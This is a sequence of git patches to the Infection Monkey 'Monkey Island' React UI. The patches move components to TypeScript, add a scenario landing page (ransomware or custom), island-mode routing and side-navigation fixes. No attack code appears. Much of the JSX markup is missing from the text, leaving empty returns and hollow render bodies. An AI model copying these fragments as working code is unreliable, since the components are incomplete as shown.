100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -73,6 +73,7 @@ "@fortawesome/free-solid-svg-icons": "^5.15.1", "@fortawesome/react-fontawesome": "^0.1.12", "@kunukn/react-collapse": "^1.2.7", + "@types/react-router-dom": "^5.1.8", "bootstrap": "^4.5.3", "classnames": "^2.2.6", "core-js": "^3.7.0", diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.tsx similarity index 81% rename from monkey/monkey_island/cc/ui/src/components/Main.js rename to monkey/monkey_island/cc/ui/src/components/Main.tsx index 7a7851af8da..2c8659bc1ee 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -2,19 +2,19 @@ import React from 'react'; import {BrowserRouter as Router, Redirect, Route, Switch} from 'react-router-dom'; import {Container} from 'react-bootstrap'; -import GettingStartedPage from 'components/pages/GettingStartedPage'; -import ConfigurePage from 'components/pages/ConfigurePage'; -import RunMonkeyPage from 'components/pages/RunMonkeyPage/RunMonkeyPage'; -import MapPage from 'components/pages/MapPage'; -import TelemetryPage from 'components/pages/TelemetryPage'; -import StartOverPage from 'components/pages/StartOverPage'; -import ReportPage from 'components/pages/ReportPage'; -import LicensePage from 'components/pages/LicensePage'; -import AuthComponent from 'components/AuthComponent'; -import LoginPageComponent from 'components/pages/LoginPage'; -import RegisterPageComponent from 'components/pages/RegisterPage'; +import ConfigurePage from './pages/ConfigurePage.js'; +import RunMonkeyPage from './pages/RunMonkeyPage/RunMonkeyPage'; +import MapPage from './pages/MapPage'; +import TelemetryPage from './pages/TelemetryPage'; +import StartOverPage from './pages/StartOverPage'; +import ReportPage from './pages/ReportPage'; +import LicensePage from './pages/LicensePage'; +import AuthComponent from './AuthComponent'; +import LoginPageComponent from './pages/LoginPage'; +import RegisterPageComponent from './pages/RegisterPage'; import Notifier from 'react-desktop-notification'; -import NotFoundPage from 'components/pages/NotFoundPage'; +import NotFoundPage from './pages/NotFoundPage'; +import GettingStartedPage from './pages/GettingStartedPage'; import 'normalize.css/normalize.css'; @@ -22,14 +22,33 @@ import 'react-data-components/css/table-twbs.css'; import 'styles/App.css'; import 'react-toggle/style.css'; import 'react-table/react-table.css'; -import notificationIcon from '../images/notification-logo-512x512.png'; import {StandardLayoutComponent} from './layouts/StandardLayoutComponent'; import LoadingScreen from './ui-components/LoadingScreen'; +import LandingPageComponent from "./pages/LandingPage"; +import {DisabledSidebarLayoutComponent} from "./layouts/DisabledSidebarLayoutComponent"; +import {CompletedSteps} from "./side-menu/CompletedSteps"; +import Timeout = NodeJS.Timeout; + + +let notificationIcon = require('../images/notification-logo-512x512.png'); const reportZeroTrustRoute = '/report/zeroTrust'; -const islandModeRoute = '/api/island-mode' + class AppComponent extends AuthComponent { + private interval: Timeout; + + constructor(props) { + super(props); + let completedSteps = new CompletedSteps(false); + this.state = { + completedSteps: completedSteps, + islandMode: undefined, + noAuthLoginAttempted: undefined + }; + this.interval = undefined; + } + updateStatus = () => { if (this.state.isLoggedIn === false) { return @@ -51,6 +70,8 @@ class AppComponent extends AuthComponent { }) } + this.checkMode(); + if (res) { this.authFetch('/api') .then(res => res.json()) @@ -72,10 +93,22 @@ class AppComponent extends AuthComponent { }); }; + checkMode = () => { + // TODO change to fetch the mode from UI + this.authFetch('/api') + .then(res => res.json()) + .then(res => { + this.setState({IslandMode: undefined}) + }); + } + renderRoute = (route_path, page_component, is_exact_path = false) => { let render_func = () => { switch (this.state.isLoggedIn) { case true: + if(this.state.islandMode === undefined){ + return this.getLandingPage(); + } return page_component; case false: switch (this.state.needsRegistration) { @@ -98,6 +131,12 @@ class AppComponent extends AuthComponent { } }; + getLandingPage() { + return + } + redirectTo = (userPath, targetPath) => { let pathQuery = new RegExp(userPath + '[/]?$', 'g'); if (window.location.pathname.match(pathQuery)) { @@ -105,35 +144,9 @@ class AppComponent extends AuthComponent { } }; - constructor(props) { - super(props); - this.state = { - completedSteps: { - run_server: true, - run_monkey: false, - infection_done: false, - report_done: false, - isLoggedIn: undefined, - needsRegistration: undefined, - islandMode: undefined - }, - noAuthLoginAttempted: undefined - }; - } - - updateIslandMode() { - this.authFetch(islandModeRoute) - .then(res => res.json()) - .then(res => { - this.setState({islandMode: res.mode}) - } - ); - } - componentDidMount() { this.updateStatus(); this.interval = setInterval(this.updateStatus, 10000); - this.updateIslandMode() } componentWillUnmount() { @@ -220,6 +233,4 @@ class AppComponent extends AuthComponent { } } -AppComponent.defaultProps = {}; - export default AppComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.js b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx similarity index 69% rename from monkey/monkey_island/cc/ui/src/components/SideNavComponent.js rename to monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx index c260da2bfc9..c7467e04fba 100644 --- a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx @@ -4,16 +4,23 @@ import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faCheck} from '@fortawesome/free-solid-svg-icons/faCheck'; import {faUndo} from '@fortawesome/free-solid-svg-icons/faUndo'; import {faExternalLinkAlt} from '@fortawesome/free-solid-svg-icons'; -import guardicoreLogoImage from '../images/guardicore-logo.png'; -import logoImage from '../images/monkey-icon.svg'; -import infectionMonkeyImage from '../images/infection-monkey.svg'; import VersionComponent from './side-menu/VersionComponent'; import '../styles/components/SideNav.scss'; +import {CompletedSteps} from "./side-menu/CompletedSteps"; -class SideNavComponent extends React.Component { +const guardicoreLogoImage = require('../images/guardicore-logo.png'); +const logoImage = require('../images/monkey-icon.svg'); +const infectionMonkeyImage = require('../images/infection-monkey.svg'); - render() { + +type Props = { + disabled?: boolean, + completedSteps: CompletedSteps +} + + +const SideNavComponent = ({disabled=false, completedSteps}: Props) => { return ( <> @@ -25,25 +32,26 @@ class SideNavComponent extends React.Component {
    • - + 1. Run Monkey - {this.props.completedSteps.run_monkey ? + {completedSteps.runMonkey ? : ''}
    • - + 2. Infection Map - {this.props.completedSteps.infection_done ? + {completedSteps.infectionDone ? : ''}
    • { return (location.pathname === '/report/attack' || location.pathname === '/report/zeroTrust' @@ -51,13 +59,13 @@ class SideNavComponent extends React.Component { }}> 3. Security Reports - {this.props.completedSteps.report_done ? + {completedSteps.reportDone ? : ''}
    • - + Start Over @@ -66,8 +74,14 @@ class SideNavComponent extends React.Component {
        -
      • Configuration
      • -
      • Logs
      • +
      • + Configuration +
      • +
      • + Logs +

      @@ -85,8 +99,15 @@ class SideNavComponent extends React.Component { License
    - ) - } + ); + + function getNavLinkClass() { + if(disabled){ + return `nav-link disabled` + } else { + return '' + } + } } export default SideNavComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/layouts/StandardLayoutComponent.js b/monkey/monkey_island/cc/ui/src/components/layouts/StandardLayoutComponent.js index 1819f67bbef..5d66166d596 100644 --- a/monkey/monkey_island/cc/ui/src/components/layouts/StandardLayoutComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/layouts/StandardLayoutComponent.js @@ -1,6 +1,6 @@ import React from 'react' import {Route} from 'react-router-dom' -import SideNavComponent from '../SideNavComponent' +import SideNavComponent from '../SideNavComponent.tsx' import {Col, Row} from 'react-bootstrap'; export const StandardLayoutComponent = ({component: Component, ...rest}) => ( diff --git a/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx b/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx new file mode 100644 index 00000000000..342b09d0be2 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/side-menu/CompletedSteps.tsx @@ -0,0 +1,22 @@ +export class CompletedSteps { + runServer: boolean + runMonkey: boolean + infectionDone: boolean + reportDone: boolean + isLoggedIn: boolean + needsRegistration: boolean + + public constructor(runServer?: boolean, + runMonkey?: boolean, + infectinDone?: boolean, + reportDone?: boolean, + isLoggedIn?: boolean, + needsRegistration?: boolean) { + this.runServer = runServer || false; + this.runMonkey = runMonkey || false; + this.infectionDone = infectinDone || false; + this.reportDone = reportDone || false; + this.isLoggedIn = isLoggedIn || false; + this.needsRegistration = needsRegistration || false; + } +} diff --git a/monkey/monkey_island/cc/ui/tsconfig.json b/monkey/monkey_island/cc/ui/tsconfig.json index 80b20886e14..ada32ea6b76 100644 --- a/monkey/monkey_island/cc/ui/tsconfig.json +++ b/monkey/monkey_island/cc/ui/tsconfig.json @@ -1,5 +1,6 @@ { "compilerOptions": { + "allowJs": true, "sourceMap": true, "module": "commonjs", "target": "es6", From b03c6d9f92b2420710ef7c050ad14dd6fa0cd658 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 14 Jul 2021 12:44:16 +0300 Subject: [PATCH 1150/1360] Island: Add LandingPage.tsx and DisabledSidebarLayoutComponent.tsx --- .../DisabledSidebarLayoutComponent.tsx | 15 +++++ .../ui/src/components/pages/LandingPage.tsx | 66 +++++++++++++++++++ .../cc/ui/src/styles/pages/LandingPage.scss | 12 ++++ 3 files changed, 93 insertions(+) create mode 100644 monkey/monkey_island/cc/ui/src/components/layouts/DisabledSidebarLayoutComponent.tsx create mode 100644 monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx create mode 100644 monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss diff --git a/monkey/monkey_island/cc/ui/src/components/layouts/DisabledSidebarLayoutComponent.tsx b/monkey/monkey_island/cc/ui/src/components/layouts/DisabledSidebarLayoutComponent.tsx new file mode 100644 index 00000000000..0210b129eb1 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/layouts/DisabledSidebarLayoutComponent.tsx @@ -0,0 +1,15 @@ +import React from 'react' +import {Route} from 'react-router-dom' +import SideNavComponent from '../SideNavComponent.tsx' +import {Col, Row} from 'react-bootstrap'; + +export const DisabledSidebarLayoutComponent = ({component: Component, ...rest}) => ( + ( + + + + + + + )}/> +) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx b/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx new file mode 100644 index 00000000000..d6f5136c16f --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx @@ -0,0 +1,66 @@ +import React from 'react'; +import {Col, Row} from 'react-bootstrap'; +import {Link} from 'react-router-dom'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faFileCode, faLightbulb} from '@fortawesome/free-solid-svg-icons'; +import '../../styles/pages/LandingPage.scss'; +import AuthComponent from '../AuthComponent'; + + +class LandingPageComponent extends AuthComponent { + constructor(props) { + super(props); + } + + render() { + return ( + +

    Welcome to the Monkey Island Server

    +
    + +
    +
    + + ); + } +} + +function ScenarioButtons() { + return ( +
    +

    Choose a scenario:

    +
    + +
    + +

    Ransomware

    +

    Simulate ransomware infection in the network.

    + +
    +
    + +

    Custom

    +

    Fine tune the simulation to your needs.

    + +
    +
    + +
    +
    + ); +} + +function MonkeyInfo() { + return ( + <> +

    What is Infection Monkey?

    + Infection Monkey is an open-source security tool for testing a data center's resiliency to perimeter + breaches and internal server infections. The Monkey uses various methods to propagate across a data center + and reports to this Monkey Island Command and Control server. + + ); +} + +export default LandingPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss new file mode 100644 index 00000000000..8cdf6ffe77e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/pages/LandingPage.scss @@ -0,0 +1,12 @@ +.landing-page h1.page-title { + margin-bottom: 20px; +} + +.landing-page h2.scenario-choice-title { + margin-bottom: 20px; + margin-left: 12px; +} + +.landing-page .monkey-description-title { + margin-top: 30px; +} From 5743f8ea9885d0ba6859ef79f61e998fc82c219c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 14 Jul 2021 17:08:17 +0300 Subject: [PATCH 1151/1360] Island: Implements basics of page redirection when island mode is set --- .../cc/ui/src/components/IslandHttpClient.tsx | 31 ++++++ .../cc/ui/src/components/Main.tsx | 73 +++++++------ .../DisabledSidebarLayoutComponent.tsx | 6 +- .../ui/src/components/pages/LandingPage.tsx | 101 ++++++++++-------- 4 files changed, 130 insertions(+), 81 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx diff --git a/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx b/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx new file mode 100644 index 00000000000..842fa63332a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx @@ -0,0 +1,31 @@ +import AuthComponent from "./AuthComponent"; +import React from "react"; + +export class Response{ + body: any + status: number + + constructor(body: any, status: number) { + this.body = body + this.status = status + } +} + +class IslandHttpClient extends AuthComponent { + post(endpoint: string, contents: any): Promise{ + return this.authFetch(endpoint, + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify(contents) + }) + .then(res => new Response(res.json(), res.status)); + } + + get(endpoint: string): Promise{ + return this.authFetch(endpoint) + .then(res => new Response(res.json(), res.status)); + } +} + +export default new IslandHttpClient(); diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index 2c8659bc1ee..0727b3e70d6 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -12,6 +12,7 @@ import LicensePage from './pages/LicensePage'; import AuthComponent from './AuthComponent'; import LoginPageComponent from './pages/LoginPage'; import RegisterPageComponent from './pages/RegisterPage'; +import LandingPage from "./pages/LandingPage"; import Notifier from 'react-desktop-notification'; import NotFoundPage from './pages/NotFoundPage'; import GettingStartedPage from './pages/GettingStartedPage'; @@ -24,10 +25,10 @@ import 'react-toggle/style.css'; import 'react-table/react-table.css'; import {StandardLayoutComponent} from './layouts/StandardLayoutComponent'; import LoadingScreen from './ui-components/LoadingScreen'; -import LandingPageComponent from "./pages/LandingPage"; import {DisabledSidebarLayoutComponent} from "./layouts/DisabledSidebarLayoutComponent"; import {CompletedSteps} from "./side-menu/CompletedSteps"; import Timeout = NodeJS.Timeout; +import IslandHttpClient from "./IslandHttpClient"; let notificationIcon = require('../images/notification-logo-512x512.png'); @@ -35,6 +36,11 @@ let notificationIcon = require('../images/notification-logo-512x512.png'); const reportZeroTrustRoute = '/report/zeroTrust'; +const Routes = { + LandingPage: '/landing-page', + GettingStartedPage: '/' +} + class AppComponent extends AuthComponent { private interval: Timeout; @@ -43,7 +49,7 @@ class AppComponent extends AuthComponent { let completedSteps = new CompletedSteps(false); this.state = { completedSteps: completedSteps, - islandMode: undefined, + islandMode: null, noAuthLoginAttempted: undefined }; this.interval = undefined; @@ -70,35 +76,38 @@ class AppComponent extends AuthComponent { }) } - this.checkMode(); - if (res) { - this.authFetch('/api') - .then(res => res.json()) - .then(res => { - // This check is used to prevent unnecessary re-rendering - let isChanged = false; - for (let step in this.state.completedSteps) { - if (this.state.completedSteps[step] !== res['completed_steps'][step]) { - isChanged = true; - break; - } - } - if (isChanged) { - this.setState({completedSteps: res['completed_steps']}); - this.showInfectionDoneNotification(); + this.checkMode() + .then(() => { + if(this.state.islandMode === null) { + return } - }); + this.authFetch('/api') + .then(res => res.json()) + .then(res => { + // This check is used to prevent unnecessary re-rendering + let isChanged = false; + for (let step in this.state.completedSteps) { + if (this.state.completedSteps[step] !== res['completed_steps'][step]) { + isChanged = true; + break; + } + } + if (isChanged) { + this.setState({completedSteps: res['completed_steps']}); + this.showInfectionDoneNotification(); + } + });} + ) + } }); }; checkMode = () => { - // TODO change to fetch the mode from UI - this.authFetch('/api') - .then(res => res.json()) + return IslandHttpClient.get('/api/island-mode') .then(res => { - this.setState({IslandMode: undefined}) + this.setState({islandMode: res.body.mode}); }); } @@ -106,8 +115,10 @@ class AppComponent extends AuthComponent { let render_func = () => { switch (this.state.isLoggedIn) { case true: - if(this.state.islandMode === undefined){ - return this.getLandingPage(); + if (this.state.islandMode === null && route_path !== Routes.LandingPage) { + return + } else if(route_path === Routes.LandingPage && this.state.islandMode !== null){ + return } return page_component; case false: @@ -131,12 +142,6 @@ class AppComponent extends AuthComponent { } }; - getLandingPage() { - return - } - redirectTo = (userPath, targetPath) => { let pathQuery = new RegExp(userPath + '[/]?$', 'g'); if (window.location.pathname.match(pathQuery)) { @@ -160,7 +165,11 @@ class AppComponent extends AuthComponent { ()}/> ()}/> - {this.renderRoute('/', + {this.renderRoute(Routes.LandingPage, + )} + {this.renderRoute(Routes.GettingStartedPage, ( diff --git a/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx b/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx index d6f5136c16f..e25717b7fd6 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx +++ b/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx @@ -4,63 +4,72 @@ import {Link} from 'react-router-dom'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faFileCode, faLightbulb} from '@fortawesome/free-solid-svg-icons'; import '../../styles/pages/LandingPage.scss'; -import AuthComponent from '../AuthComponent'; +import IslandHttpClient from "../IslandHttpClient"; -class LandingPageComponent extends AuthComponent { - constructor(props) { - super(props); - } +const LandingPageComponent = (props) => { - render() { + return ( + +

    Welcome to the Monkey Island Server

    +
    + +
    +
    + + ); + + function ScenarioButtons() { return ( - -

    Welcome to the Monkey Island Server

    -
    - -
    +
    +

    Choose a scenario:

    +
    + +
    + { + setScenario('ransomware') + }}> +

    Ransomware

    +

    Simulate ransomware infection in the network.

    + +
    +
    + { + setScenario('advanced') + }}> +

    Custom

    +

    Fine tune the simulation to your needs.

    + +
    +
    +
    - +
    ); } -} -function ScenarioButtons() { - return ( -
    -

    Choose a scenario:

    -
    - -
    - -

    Ransomware

    -

    Simulate ransomware infection in the network.

    - -
    -
    - -

    Custom

    -

    Fine tune the simulation to your needs.

    - -
    -
    - -
    -
    - ); + function setScenario(scenario: string) { + IslandHttpClient.post('/api/island-mode', {'mode': scenario}); + props.onStatusChange(); + } } function MonkeyInfo() { - return ( - <> -

    What is Infection Monkey?

    - Infection Monkey is an open-source security tool for testing a data center's resiliency to perimeter - breaches and internal server infections. The Monkey uses various methods to propagate across a data center - and reports to this Monkey Island Command and Control server. - - ); + return ( + <> +

    What is Infection Monkey?

    + Infection Monkey is an open-source security tool for testing a data center's resiliency to + perimeter + breaches and internal server infections. The Monkey uses various methods to propagate across a data center + and reports to this Monkey Island Command and Control server. + + ); } export default LandingPageComponent; From 980f06ed73012f8608ee7fc221187e55ddc07d24 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 15 Jul 2021 10:05:25 +0300 Subject: [PATCH 1152/1360] Island UI: fix a bug in IslandHttpClient.tsx that caused the body of a Response object to be a promise instead of an object --- .../cc/ui/src/components/IslandHttpClient.tsx | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx b/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx index 842fa63332a..1c957101148 100644 --- a/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx +++ b/monkey/monkey_island/cc/ui/src/components/IslandHttpClient.tsx @@ -13,18 +13,22 @@ export class Response{ class IslandHttpClient extends AuthComponent { post(endpoint: string, contents: any): Promise{ + let status = null; return this.authFetch(endpoint, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(contents) }) - .then(res => new Response(res.json(), res.status)); + .then(res => {status = res.status; return res.json()}) + .then(res => new Response(res, status)); } get(endpoint: string): Promise{ + let status = null; return this.authFetch(endpoint) - .then(res => new Response(res.json(), res.status)); + .then(res => {status = res.status; return res.json()}) + .then(res => new Response(res, status)); } } From 4dc138ca48c0eb893126623e26488facd16d8a7b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 15 Jul 2021 10:08:14 +0300 Subject: [PATCH 1153/1360] Island UI: finish the routing implementation related to landing page (if mode not chosen redirect to landing page, etc.) --- .../cc/ui/src/components/Main.tsx | 51 +++++++++++-------- 1 file changed, 31 insertions(+), 20 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index 0727b3e70d6..3d41c8b5405 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -79,25 +79,26 @@ class AppComponent extends AuthComponent { if (res) { this.checkMode() .then(() => { - if(this.state.islandMode === null) { - return - } - this.authFetch('/api') - .then(res => res.json()) - .then(res => { - // This check is used to prevent unnecessary re-rendering - let isChanged = false; - for (let step in this.state.completedSteps) { - if (this.state.completedSteps[step] !== res['completed_steps'][step]) { - isChanged = true; - break; + if (this.state.islandMode === null) { + return + } + this.authFetch('/api') + .then(res => res.json()) + .then(res => { + // This check is used to prevent unnecessary re-rendering + let isChanged = false; + for (let step in this.state.completedSteps) { + if (this.state.completedSteps[step] !== res['completed_steps'][step]) { + isChanged = true; + break; + } + } + if (isChanged) { + this.setState({completedSteps: res['completed_steps']}); + this.showInfectionDoneNotification(); } - } - if (isChanged) { - this.setState({completedSteps: res['completed_steps']}); - this.showInfectionDoneNotification(); - } - });} + }); + } ) } @@ -115,9 +116,9 @@ class AppComponent extends AuthComponent { let render_func = () => { switch (this.state.isLoggedIn) { case true: - if (this.state.islandMode === null && route_path !== Routes.LandingPage) { + if (this.needsRedirectionToLandingPage(route_path)) { return - } else if(route_path === Routes.LandingPage && this.state.islandMode !== null){ + } else if (this.needsRedirectionToGettingStarted(route_path)) { return } return page_component; @@ -142,6 +143,16 @@ class AppComponent extends AuthComponent { } }; + needsRedirectionToLandingPage = (route_path) => { + return (this.state.islandMode === null && route_path !== Routes.LandingPage) + } + + needsRedirectionToGettingStarted = (route_path) => { + return route_path === Routes.LandingPage && + this.state.islandMode !== null && + this.state.islandMode !== undefined + } + redirectTo = (userPath, targetPath) => { let pathQuery = new RegExp(userPath + '[/]?$', 'g'); if (window.location.pathname.match(pathQuery)) { From dae669282d277ddf044141f2d802057b9d1bc5a9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 15 Jul 2021 10:09:19 +0300 Subject: [PATCH 1154/1360] Island UI: implement scenario/mode reset upon starting over --- .../cc/ui/src/components/pages/StartOverPage.js | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js index c536146bfd3..84b84d6f7ec 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js @@ -38,11 +38,11 @@ class StartOverPageComponent extends AuthComponent { - +

    Start Over

    @@ -88,7 +88,10 @@ class StartOverPageComponent extends AuthComponent { cleaned: true }); } - }).then(this.updateMonkeysRunning()); + }).then(() => { + this.updateMonkeysRunning(); + this.props.onStatusChange(); + }); }; closeModal = () => { From e9094bdfd659203017fb4fc7070d7fa3c8276401 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 15 Jul 2021 10:42:15 +0300 Subject: [PATCH 1155/1360] Island UI: fix a bug in side navigation that causes the report side navigation button to go out of "active" mode on ransomware report tab --- .../monkey_island/cc/ui/src/components/Main.tsx | 16 +++++++++++----- .../cc/ui/src/components/SideNavComponent.tsx | 5 ++--- 2 files changed, 13 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index 3d41c8b5405..a8ac4ea7b0e 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -33,12 +33,18 @@ import IslandHttpClient from "./IslandHttpClient"; let notificationIcon = require('../images/notification-logo-512x512.png'); -const reportZeroTrustRoute = '/report/zeroTrust'; - - const Routes = { LandingPage: '/landing-page', - GettingStartedPage: '/' + GettingStartedPage: '/', + Report: '/report', + AttackReport: '/report/attack', + ZeroTrustReport: '/report/zeroTrust', + SecurityReport: '/report/security', + RansomwareReport: '/report/ransomware', +} + +export function isReportRoute(route){ + return route.startsWith(Routes.Report); } class AppComponent extends AuthComponent { @@ -237,7 +243,7 @@ class AppComponent extends AuthComponent { const hostname = window.location.hostname; const port = window.location.port; const protocol = window.location.protocol; - const url = `${protocol}//${hostname}:${port}${reportZeroTrustRoute}`; + const url = `${protocol}//${hostname}:${port}${Routes.ZeroTrustReport}`; Notifier.start( 'Monkey Island', diff --git a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx index c7467e04fba..3eb8bf38ef6 100644 --- a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx +++ b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx @@ -7,6 +7,7 @@ import {faExternalLinkAlt} from '@fortawesome/free-solid-svg-icons'; import VersionComponent from './side-menu/VersionComponent'; import '../styles/components/SideNav.scss'; import {CompletedSteps} from "./side-menu/CompletedSteps"; +import {isReportRoute} from "./Main"; const guardicoreLogoImage = require('../images/guardicore-logo.png'); @@ -53,9 +54,7 @@ const SideNavComponent = ({disabled=false, completedSteps}: Props) => { { - return (location.pathname === '/report/attack' - || location.pathname === '/report/zeroTrust' - || location.pathname === '/report/security') + return (isReportRoute(location.pathname)) }}> 3. Security Reports From 1a7b513ca36d6c36cd7808e4803e49870c81a91e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 15 Jul 2021 11:35:48 +0300 Subject: [PATCH 1156/1360] Island UI: fix a bug that broke completed step checkmarks in the side navigation --- .../cc/ui/src/components/Main.tsx | 16 +- .../cc/ui/src/components/SideNavComponent.tsx | 161 +++++++++--------- .../components/side-menu/CompletedSteps.tsx | 20 ++- 3 files changed, 102 insertions(+), 95 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index a8ac4ea7b0e..ae9a46534b0 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -29,6 +29,7 @@ import {DisabledSidebarLayoutComponent} from "./layouts/DisabledSidebarLayoutCom import {CompletedSteps} from "./side-menu/CompletedSteps"; import Timeout = NodeJS.Timeout; import IslandHttpClient from "./IslandHttpClient"; +import _ from "lodash"; let notificationIcon = require('../images/notification-logo-512x512.png'); @@ -91,18 +92,13 @@ class AppComponent extends AuthComponent { this.authFetch('/api') .then(res => res.json()) .then(res => { + let completedSteps = CompletedSteps.buildFromResponse(res.completed_steps); // This check is used to prevent unnecessary re-rendering - let isChanged = false; - for (let step in this.state.completedSteps) { - if (this.state.completedSteps[step] !== res['completed_steps'][step]) { - isChanged = true; - break; - } - } - if (isChanged) { - this.setState({completedSteps: res['completed_steps']}); - this.showInfectionDoneNotification(); + if (_.isEqual(this.state.completedSteps, completedSteps)) { + return; } + this.setState({completedSteps: completedSteps}); + this.showInfectionDoneNotification(); }); } ) diff --git a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx index 3eb8bf38ef6..bd0bde5a136 100644 --- a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx +++ b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx @@ -22,91 +22,92 @@ type Props = { const SideNavComponent = ({disabled=false, completedSteps}: Props) => { - return ( - <> - -

    - logo - Infection Monkey -
    - -
      -
    • - - 1. - Run Monkey - {completedSteps.runMonkey ? - - : ''} - -
    • -
    • - - 2. - Infection Map - {completedSteps.infectionDone ? - - : ''} - -
    • -
    • - { - return (isReportRoute(location.pathname)) - }}> - 3. - Security Reports - {completedSteps.reportDone ? - - : ''} - -
    • -
    • - - - Start Over - -
    • -
    + return ( + <> + +
    + logo + Infection Monkey +
    +
    -
    -
      -
    • - Configuration -
    • -
    • - Logs -
    • -
    +
      +
    • + + 1. + Run Monkey + {completedSteps.runMonkey ? + + : ''} + +
    • +
    • + + 2. + Infection Map + {completedSteps.infectionDone ? + + : ''} + +
    • +
    • + { + return (isReportRoute(location.pathname)) + }}> + 3. + Security Reports + {completedSteps.reportDone ? + + : ''} + +
    • +
    • + + + Start Over + +
    • +
    -
    -
    - Powered by - - GuardiCore - -
    -
    - - Documentation - -
    - License -
    - - ); +
    +
      +
    • + Configuration +
    • +
    • + Logs +
    • +
    + +
    +
    + Powered by + + GuardiCore + +
    +
    + + Documentation + +
    + License +
